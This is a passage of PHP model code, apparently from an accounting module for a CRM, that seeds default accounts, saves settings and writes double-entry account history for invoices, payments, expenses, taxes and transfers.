'acc_prepaid_expenses', 'account_type_id' => 2, 'account_detail_type_id' => 11, ], [ 'name' => '', 'key_name' => 'acc_property_plant_and_equipment', 'account_type_id' => 4, 'account_detail_type_id' => 26, ], [ 'name' => '', 'key_name' => 'acc_purchases', 'account_type_id' => 14, 'account_detail_type_id' => 130, ], [ 'name' => '', 'key_name' => 'acc_reconciliation_discrepancies', 'account_type_id' => 15, 'account_detail_type_id' => 139, ], [ 'name' => '', 'key_name' => 'acc_rent_or_lease_payments', 'account_type_id' => 14, 'account_detail_type_id' => 127, ], [ 'name' => '', 'key_name' => 'acc_repair_and_maintenance', 'account_type_id' => 14, 'account_detail_type_id' => 128, ], [ 'name' => '', 'key_name' => 'acc_retained_earnings', 'account_type_id' => 10, 'account_detail_type_id' => 80, ], [ 'name' => '', 'key_name' => 'acc_revenue_general', 'account_type_id' => 11, 'account_detail_type_id' => 86, ], [ 'name' => '', 'key_name' => 'acc_sales', 'account_type_id' => 11, 'account_detail_type_id' => 89, ], [ 'name' => '', 'key_name' => 'acc_sales_retail', 'account_type_id' => 11, 'account_detail_type_id' => 87, ], [ 'name' => '', 'key_name' => 'acc_sales_wholesale', 'account_type_id' => 11, 'account_detail_type_id' => 88, ], [ 'name' => '', 'key_name' => 'acc_sales_of_product_income', 'account_type_id' => 11, 'account_detail_type_id' => 89, ], [ 'name' => '', 'key_name' => 'acc_share_capital', 'account_type_id' => 10, 'account_detail_type_id' => 81, ], [ 'name' => '', 'key_name' => 'acc_shipping_and_delivery_expense', 'account_type_id' => 14, 'account_detail_type_id' => 129, ], [ 'name' => '', 'key_name' => 'acc_short_term_debit', 'account_type_id' => 8, 'account_detail_type_id' => 54, ], [ 'name' => '', 'key_name' => 'acc_stationery_and_printing', 'account_type_id' => 14, 'account_detail_type_id' => 123, ], [ 'name' => '', 'key_name' => 'acc_subcontractors_cos', 'account_type_id' => 13, 'account_detail_type_id' => 100, ], [ 'name' => '', 'key_name' => 'acc_supplies', 'account_type_id' => 14, 'account_detail_type_id' => 130, ], [ 'name' => '', 'key_name' => 'acc_travel_expenses_general_and_admin_expenses', 'account_type_id' => 14, 'account_detail_type_id' => 132, ], [ 'name' => '', 'key_name' => 'acc_travel_expenses_selling_expense', 'account_type_id' => 14, 'account_detail_type_id' => 133, ], [ 'name' => '', 'key_name' => 'acc_unapplied_cash_payment_income', 'account_type_id' => 11, 'account_detail_type_id' => 91, ], [ 'name' => '', 'key_name' => 'acc_uncategorised_asset', 'account_type_id' => 2, 'account_detail_type_id' => 10, ], [ 'name' => '', 'key_name' => 'acc_uncategorised_expense', 'account_type_id' => 14, 'account_detail_type_id' => 124, ], [ 'name' => '', 'key_name' => 'acc_uncategorised_income', 'account_type_id' => 11, 'account_detail_type_id' => 89, ], [ 'name' => '', 'key_name' => 'acc_undeposited_funds', 'account_type_id' => 2, 'account_detail_type_id' => 13, ], [ 'name' => '', 'key_name' => 'acc_unrealised_loss_on_securities_net_of_tax', 'account_type_id' => 12, 'account_detail_type_id' => 99, ], [ 'name' => '', 'key_name' => 'acc_utilities', 'account_type_id' => 14, 'account_detail_type_id' => 135, ], [ 'name' => '', 'key_name' => 'acc_wage_expenses', 'account_type_id' => 14, 'account_detail_type_id' => 126, ], [ 'name' => '', 'key_name' => 'acc_credit_card', 'account_type_id' => 7, 'account_detail_type_id' => 43, ], [ 'name' => '', 'key_name' => 'acc_accounts_payable', 'account_type_id' => 6, 'account_detail_type_id' => 42, ], ]; $affectedRows = $this->db->insert_batch(db_prefix().'acc_accounts', $accounts); if ($affectedRows > 0) { $this->db->where('name', 'acc_add_default_account'); $this->db->update(db_prefix() . 'options', [ 'value' => 1, ]); return true; } return false; } /** * add default account new */ public function add_default_account_new(){ $this->db->where('key_name != ""'); $affectedRows = $this->db->update(db_prefix().'acc_accounts', ['default_account' => 1]); if ($affectedRows > 0) { $this->db->where('name', 'add_default_account_new'); $this->db->update(db_prefix() . 'options', [ 'value' => 1, ]); return true; } return false; } /** * update general setting * * @param array $data The data * * @return boolean */ public function update_general_setting($data){ $affectedRows = 0; if(!isset($data['acc_close_the_books'])){ $data['acc_close_the_books'] = 0; } if(!isset($data['acc_enable_account_numbers'])){ $data['acc_enable_account_numbers'] = 0; } if(!isset($data['acc_show_account_numbers'])){ $data['acc_show_account_numbers'] = 0; } if($data['acc_closing_date'] != ''){ $data['acc_closing_date'] = to_sql_date($data['acc_closing_date']); } foreach ($data as $key => $value) { $this->db->where('name', $key); $this->db->update(db_prefix() . 'options', [ 'value' => $value, ]); if ($this->db->affected_rows() > 0) { $affectedRows++; } } if ($affectedRows > 0) { return true; } return false; } /** * update automatic conversion * * @param array $data The data * * @return boolean */ public function update_automatic_conversion($data){ $affectedRows = 0; if(!isset($data['acc_invoice_automatic_conversion'])){ $data['acc_invoice_automatic_conversion'] = 0; } if(!isset($data['acc_payment_automatic_conversion'])){ $data['acc_payment_automatic_conversion'] = 0; } if(!isset($data['acc_expense_automatic_conversion'])){ $data['acc_expense_automatic_conversion'] = 0; } if(!isset($data['acc_tax_automatic_conversion'])){ $data['acc_tax_automatic_conversion'] = 0; } foreach ($data as $key => $value) { $this->db->where('name', $key); $this->db->update(db_prefix() . 'options', [ 'value' => $value, ]); if ($this->db->affected_rows() > 0) { $affectedRows++; } } if ($affectedRows > 0) { return true; } return false; } /** * get accounts * @param integer $id member group id * @param array $where * @return object */ public function get_accounts($id = '', $where = []) { if (is_numeric($id)) { $this->db->where('id', $id); return $this->db->get(db_prefix() . 'acc_accounts')->row(); } $this->db->where($where); $this->db->where('active', 1); $this->db->order_by('account_type_id,account_detail_type_id', 'desc'); $accounts = $this->db->get(db_prefix() . 'acc_accounts')->result_array(); $account_types = $this->accounting_model->get_account_types(); $detail_types = $this->accounting_model->get_account_type_details(); $account_type_name = []; $detail_type_name = []; foreach ($account_types as $key => $value) { $account_type_name[$value['id']] = $value['name']; } foreach ($detail_types as $key => $value) { $detail_type_name[$value['id']] = $value['name']; } foreach ($accounts as $key => $value) { if($value['name'] == '' && $value['key_name'] != ''){ $accounts[$key]['name'] = _l($value['key_name']); } $_account_type_name = isset($account_type_name[$value['account_type_id']]) ? $account_type_name[$value['account_type_id']] : ''; $_detail_type_name = isset($detail_type_name[$value['account_detail_type_id']]) ? $detail_type_name[$value['account_detail_type_id']] : ''; $accounts[$key]['account_type_name'] = $_account_type_name; $accounts[$key]['detail_type_name'] = $_detail_type_name; } return $accounts; } /** * add new account * @param array $data * @return integer */ public function add_account($data) { if (isset($data['id'])) { unset($data['id']); } if($data['balance_as_of'] != ''){ $data['balance_as_of'] = to_sql_date($data['balance_as_of']); } if(isset($data['update_balance'])){ unset($data['update_balance']); } $data['balance'] = str_replace(',', '', $data['balance']); $this->db->insert(db_prefix() . 'acc_accounts', $data); $insert_id = $this->db->insert_id(); if ($insert_id) { if($data['balance'] > 0){ $node = []; $node['account'] = $insert_id; $node['ending_balance'] = $data['balance']; $node['beginning_balance'] = 0; $node['finish'] = 1; if($data['balance_as_of'] != ''){ $node['ending_date'] = $data['balance_as_of']; }else{ $node['ending_date'] = date('Y-m-d'); } $this->db->insert(db_prefix().'acc_reconciles', $node); $reconcile_id = $this->db->insert_id(); $this->db->where('account_type_id', 10); $this->db->where('account_detail_type_id', 71); $account = $this->db->get(db_prefix().'acc_accounts')->row(); if($account){ $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = $data['balance']; $node['credit'] = 0; }else{ $node['debit'] = 0; $node['credit'] = $data['balance']; } $node['split'] = $insert_id; $node['account'] = $account->id; $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = 0; $node['credit'] = $data['balance']; }else{ $node['debit'] = $data['balance']; $node['credit'] = 0; } $node['reconcile'] = $reconcile_id; $node['split'] = $account->id; $node['account'] = $insert_id; $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); }else{ $this->db->insert(db_prefix().'acc_accounts', [ 'name' => '', 'key_name' => 'acc_opening_balance_equity', 'account_type_id' => 10, 'account_detail_type_id' => 71, ]); $account_id = $this->db->insert_id(); if ($account_id) { $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = $data['balance']; $node['credit'] = 0; }else{ $node['debit'] = 0; $node['credit'] = $data['balance']; } $node['split'] = $insert_id; $node['account'] = $account_id; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = 0; $node['credit'] = $data['balance']; }else{ $node['debit'] = $data['balance']; $node['credit'] = 0; } $node['reconcile'] = $reconcile_id; $node['split'] = $account_id; $node['account'] = $insert_id; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); } } } return $insert_id; } return false; } /** * update account * @param array $data * @param integer $id * @return integer */ public function update_account($data, $id) { if (isset($data['id'])) { unset($data['id']); } if($data['balance_as_of'] != ''){ $data['balance_as_of'] = to_sql_date($data['balance_as_of']); } $update_balance = 0; if(isset($data['update_balance'])){ $update_balance = $data['update_balance']; unset($data['update_balance']); } $data['balance'] = str_replace(',', '', $data['balance']); $this->db->where('id', $id); $this->db->update(db_prefix() . 'acc_accounts', $data); if ($this->db->affected_rows() > 0) { if($data['balance'] > 0 && $update_balance == 1){ $node = []; $node['account'] = $id; $node['ending_balance'] = $data['balance']; $node['beginning_balance'] = 0; $node['finish'] = 1; if($data['balance_as_of'] != ''){ $node['ending_date'] = $data['balance_as_of']; }else{ $node['ending_date'] = date('Y-m-d'); } $this->db->insert(db_prefix().'acc_reconciles', $node); $reconcile_id = $this->db->insert_id(); $this->db->where('account_type_id', 10); $this->db->where('account_detail_type_id', 71); $account = $this->db->get(db_prefix().'acc_accounts')->row(); if($account){ $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = $data['balance']; $node['credit'] = 0; }else{ $node['debit'] = 0; $node['credit'] = $data['balance']; } $node['split'] = $id; $node['account'] = $account->id; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = 0; $node['credit'] = $data['balance']; }else{ $node['debit'] = $data['balance']; $node['credit'] = 0; } $node['reconcile'] = $reconcile_id; $node['split'] = $account->id; $node['account'] = $id; $node['rel_id'] = 0; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['rel_type'] = 'deposit'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); }else{ $this->db->insert(db_prefix().'acc_accounts', [ 'name' => '', 'key_name' => 'acc_opening_balance_equity', 'account_type_id' => 10, 'account_detail_type_id' => 71, ]); $account_id = $this->db->insert_id(); if ($account_id) { $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = $data['balance']; $node['credit'] = 0; }else{ $node['debit'] = 0; $node['credit'] = $data['balance']; } $node['split'] = $id; $node['account'] = $account_id; $node['rel_id'] = 0; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['rel_type'] = 'deposit'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; if($data['account_type_id'] == 7 || $data['account_type_id'] == 15 || $data['account_type_id'] == 8 || $data['account_type_id'] == 9){ $node['debit'] = 0; $node['credit'] = $data['balance']; }else{ $node['debit'] = $data['balance']; $node['credit'] = 0; } $node['reconcile'] = $reconcile_id; $node['split'] = $account_id; $node['account'] = $id; $node['rel_id'] = 0; if($data['balance_as_of'] != ''){ $node['date'] = $data['balance_as_of']; }else{ $node['date'] = date('Y-m-d'); } $node['rel_type'] = 'deposit'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); } } } return true; } return false; } /** * Get the data account to choose from. * * @return array The product group select. */ public function get_data_account_to_select() { $accounts = $this->get_accounts(); $acc_enable_account_numbers = get_option('acc_enable_account_numbers'); $acc_show_account_numbers = get_option('acc_show_account_numbers'); $list_accounts = []; $account_types = $this->accounting_model->get_account_types(); $account_type_name = []; foreach ($account_types as $key => $value) { $account_type_name[$value['id']] = $value['name']; } foreach ($accounts as $key => $account) { $note = []; $note['id'] = $account['id']; $_account_type_name = isset($account_type_name[$account['account_type_id']]) ? $account_type_name[$account['account_type_id']] : ''; if($acc_enable_account_numbers == 1 && $acc_show_account_numbers == 1 && $account['number'] != ''){ $note['label'] = $account['number'].' - '.$account['name'] .' - '.$_account_type_name; }else{ $note['label'] = $account['name'].' - '.$_account_type_name; } $list_accounts[] = $note; } return $list_accounts; } /** * add account history * @param array $data * @return boolean */ public function add_account_history($data){ $this->db->where('rel_id', $data['id']); $this->db->where('rel_type', $data['type']); $this->db->delete(db_prefix().'acc_account_history'); $data['amount'] = str_replace(',', '', $data['amount']); $data_insert = []; if($data['type'] == 'invoice'){ $this->load->model('invoices_model'); $invoice = $this->invoices_model->get($data['id']); $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $currency_converter = 0; if($invoice->currency_name != $currency->name){ $currency_converter = 1; } $payment_account = $data['payment_account']; $deposit_to = $data['deposit_to']; $invoice_payment_account = get_option('acc_invoice_payment_account'); $invoice_deposit_to = get_option('acc_invoice_deposit_to'); $item_amount = $data['item_amount']; $paid = 0; if($invoice->status == 2){ $paid = 1; } foreach ($invoice->items as $value) { $item = $this->get_item_by_name($value['description']); $item_id = 0; if(isset($item->id)){ $item_id = $item->id; } $item_total = $value['qty'] * $value['rate']; if(isset($data['exchange_rate'])){ $item_total = round(($value['qty'] * $value['rate']) * $data['exchange_rate'], 2); }elseif($currency_converter == 1){ $item_total = round($this->currency_converter($invoice->currency_name, $currency->name, $value['qty'] * $value['rate']), 2); } if(isset($payment_account[$item_id])) { $node = []; $node['split'] = $payment_account[$item_id]; $node['account'] = $deposit_to[$item_id]; $node['debit'] = $item_total; $node['paid'] = $paid; $node['date'] = $invoice->date; $node['item'] = $item_id; $node['customer'] = $invoice->clientid; $node['tax'] = 0; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = $data['type']; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $deposit_to[$item_id]; $node['paid'] = $paid; $node['date'] = $invoice->date; $node['item'] = $item_id; $node['account'] = $payment_account[$item_id]; $node['customer'] = $invoice->clientid; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $item_total; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = $data['type']; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = $invoice_payment_account; $node['account'] = $invoice_deposit_to; $node['date'] = $invoice->date; $node['item'] = $item_id; $node['debit'] = $item_total; $node['customer'] = $invoice->clientid; $node['paid'] = $paid; $node['tax'] = 0; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = $data['type']; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $invoice_deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $invoice_payment_account; $node['date'] = $invoice->date; $node['item'] = $item_id; $node['paid'] = $paid; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $item_total; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = $data['type']; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } if(get_option('acc_tax_automatic_conversion') == 1){ $tax_payment_account = get_option('acc_tax_payment_account'); $tax_deposit_to = get_option('acc_tax_deposit_to'); $items = get_items_table_data($invoice, 'invoice', 'html', true); foreach($items->taxes() as $tax){ $t = explode('|', $tax['tax_name']); $tax_name = ''; $tax_rate = 0; if(isset($t[0])){ $tax_name = $t[0]; } if(isset($t[1])){ $tax_rate = $t[1]; } $this->db->where('name', $tax_name); $this->db->where('taxrate', $tax_rate); $_tax = $this->db->get(db_prefix().'taxes')->row(); $total_tax = $tax['total_tax']; if(isset($data['exchange_rate'])){ $total_tax = round($tax['total_tax'] * $data['exchange_rate'], 2); }elseif($currency_converter == 1){ $total_tax = round($this->currency_converter($invoice->currency_name, $currency->name, $tax['total_tax']), 2); } if($_tax){ $tax_mapping = $this->get_tax_mapping($_tax->id); if($tax_mapping){ $node = []; $node['split'] = $tax_mapping->payment_account; $node['account'] = $tax_mapping->deposit_to; $node['tax'] = $_tax->id; $node['item'] = 0; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['debit'] = $total_tax; $node['customer'] = $invoice->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_mapping->deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $tax_mapping->payment_account; $node['tax'] = $_tax->id; $node['item'] = 0; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['tax'] = $_tax->id; $node['item'] = 0; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['debit'] = $total_tax; $node['customer'] = $invoice->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $invoice->clientid; $node['date'] = $invoice->date; $node['account'] = $tax_payment_account; $node['tax'] = $_tax->id; $node['item'] = 0; $node['paid'] = $paid; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['item'] = 0; $node['tax'] = 0; $node['date'] = $invoice->date; $node['paid'] = $paid; $node['debit'] = $total_tax; $node['customer'] = $invoice->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $invoice->clientid; $node['account'] = $tax_payment_account; $node['date'] = $invoice->date; $node['tax'] = 0; $node['item'] = 0; $node['paid'] = $paid; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'invoice'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } } }else{ $customer = 0; $date = date('Y-m-d'); if($data['type'] == 'payment'){ $this->load->model('payments_model'); $this->load->model('invoices_model'); $payment = $this->payments_model->get($data['id']); $date = $payment->date; $invoice = $this->invoices_model->get($payment->invoiceid); $this->automatic_invoice_conversion($payment->invoiceid); $customer = $invoice->clientid; $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); if(isset($data['exchange_rate'])){ $data['amount'] = round($data['amount'] * $data['exchange_rate'], 2); }elseif($invoice->currency_name != $currency->name){ $data['amount'] = round($this->currency_converter($invoice->currency_name, $currency->name, $data['amount']), 2); } }elseif ($data['type'] == 'expense') { $this->load->model('expenses_model'); $expense = $this->expenses_model->get($data['id']); $date = $expense->date; $customer = $expense->clientid; $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); if(isset($data['exchange_rate'])){ $data['amount'] = round($data['amount'] * $data['exchange_rate'], 2); }elseif($expense->currency_data->name != $currency->name){ $data['amount'] = round($this->currency_converter($expense->currency_data->name, $currency->name, $data['amount']), 2); } if(get_option('acc_tax_automatic_conversion') == 1){ $tax_payment_account = get_option('acc_tax_payment_account'); $tax_deposit_to = get_option('acc_tax_deposit_to'); if($expense->tax > 0){ $this->db->where('id', $expense->tax); $tax = $this->db->get(db_prefix().'taxes')->row(); $total_tax = 0; if($tax){ $total_tax = ($tax->taxrate/100) * $data['amount']; } $tax_mapping = $this->get_tax_mapping($expense->tax); if($tax_mapping){ $node = []; $node['split'] = $tax_mapping->expense_payment_account; $node['account'] = $tax_mapping->expense_deposit_to; $node['tax'] = $expense->tax; $node['debit'] = $total_tax; $node['credit'] = 0; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_mapping->expense_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_mapping->expense_payment_account; $node['tax'] = $expense->tax; $node['date'] = $expense->date; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['tax'] = $expense->tax; $node['date'] = $expense->date; $node['debit'] = $total_tax; $node['customer'] = $expense->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_payment_account; $node['date'] = $expense->date; $node['tax'] = $expense->tax; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } if($expense->tax2 > 0){ $this->db->where('id', $expense->tax2); $tax = $this->db->get(db_prefix().'taxes')->row(); $total_tax = 0; if($tax){ $total_tax = ($tax->taxrate/100) * $data['amount']; } $tax_mapping = $this->get_tax_mapping($expense->tax2); if($tax_mapping){ $node = []; $node['split'] = $tax_mapping->expense_payment_account; $node['account'] = $tax_mapping->expense_deposit_to; $node['tax'] = $expense->tax2; $node['debit'] = $total_tax; $node['credit'] = 0; $node['customer'] = $expense->clientid; $node['date'] = $expense->date; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_mapping->expense_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_mapping->expense_payment_account; $node['tax'] = $expense->tax2; $node['date'] = $expense->date; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; }else{ $node = []; $node['split'] = $tax_payment_account; $node['account'] = $tax_deposit_to; $node['tax'] = $expense->tax2; $node['date'] = $expense->date; $node['debit'] = $total_tax; $node['customer'] = $expense->clientid; $node['credit'] = 0; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $tax_deposit_to; $node['customer'] = $expense->clientid; $node['account'] = $tax_payment_account; $node['date'] = $expense->date; $node['tax'] = $expense->tax2; $node['debit'] = 0; $node['credit'] = $total_tax; $node['description'] = ''; $node['rel_id'] = $expense_id; $node['rel_type'] = 'expense'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } } }elseif($data['type'] == 'banking'){ $banking = $this->get_transaction_banking($data['id']); if($banking){ $date = $banking->date; } } $node = []; $node['split'] = $data['payment_account']; $node['account'] = $data['deposit_to']; $node['debit'] = $data['amount']; $node['customer'] = $customer; $node['date'] = $date; $node['credit'] = 0; $node['tax'] = 0; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = $data['type']; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; $node = []; $node['split'] = $data['deposit_to']; $node['account'] = $data['payment_account']; $node['customer'] = $customer; $node['date'] = $date; $node['tax'] = 0; $node['debit'] = 0; $node['credit'] = $data['amount']; $node['description'] = ''; $node['rel_id'] = $data['id']; $node['rel_type'] = $data['type']; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } $affectedRows = $this->db->insert_batch(db_prefix().'acc_account_history', $data_insert); if ($affectedRows > 0) { return true; } return false; } /** * add transfer * @param array $data * @return boolean */ public function add_transfer($data){ if(isset($data['id'])){ unset($data['id']); } $data['date'] = to_sql_date($data['date']); if(get_option('acc_close_the_books') == 1){ if(strtotime($data['date']) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return 'close_the_book'; } } $data['transfer_amount'] = str_replace(',', '', $data['transfer_amount']); $data['datecreated'] = date('Y-m-d H:i:s'); $data['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_transfers', $data); $insert_id = $this->db->insert_id(); if($insert_id){ $node = []; $node['split'] = $data['transfer_funds_to']; $node['account'] = $data['transfer_funds_from']; $node['debit'] = 0; $node['date'] = $data['date']; $node['credit'] = $data['transfer_amount']; $node['rel_id'] = $insert_id; $node['rel_type'] = 'transfer'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['split'] = $data['transfer_funds_from']; $node['account'] = $data['transfer_funds_to']; $node['debit'] = $data['transfer_amount']; $node['date'] = $data['date']; $node['credit'] = 0; $node['rel_id'] = $insert_id; $node['rel_type'] = 'transfer'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); return true; } return false; } /** * add journal entry * @param array $data * @return boolean */ public function add_journal_entry($data){ $journal_entry = json_decode($data['journal_entry']); unset($data['journal_entry']); $data['journal_date'] = to_sql_date($data['journal_date']); if(get_option('acc_close_the_books') == 1){ if(strtotime($data['journal_date']) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return 'close_the_book'; } } $data['datecreated'] = date('Y-m-d H:i:s'); $data['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_journal_entries', $data); $insert_id = $this->db->insert_id(); if($insert_id){ $data_insert = []; foreach ($journal_entry as $key => $value) { if($value[0] != ''){ $node = []; $node['account'] = $value[0]; $node['date'] = $data['journal_date']; $node['debit'] = $value[1]; $node['credit'] = $value[2]; $node['description'] = $value[3]; $node['rel_id'] = $insert_id; $node['rel_type'] = 'journal_entry'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = 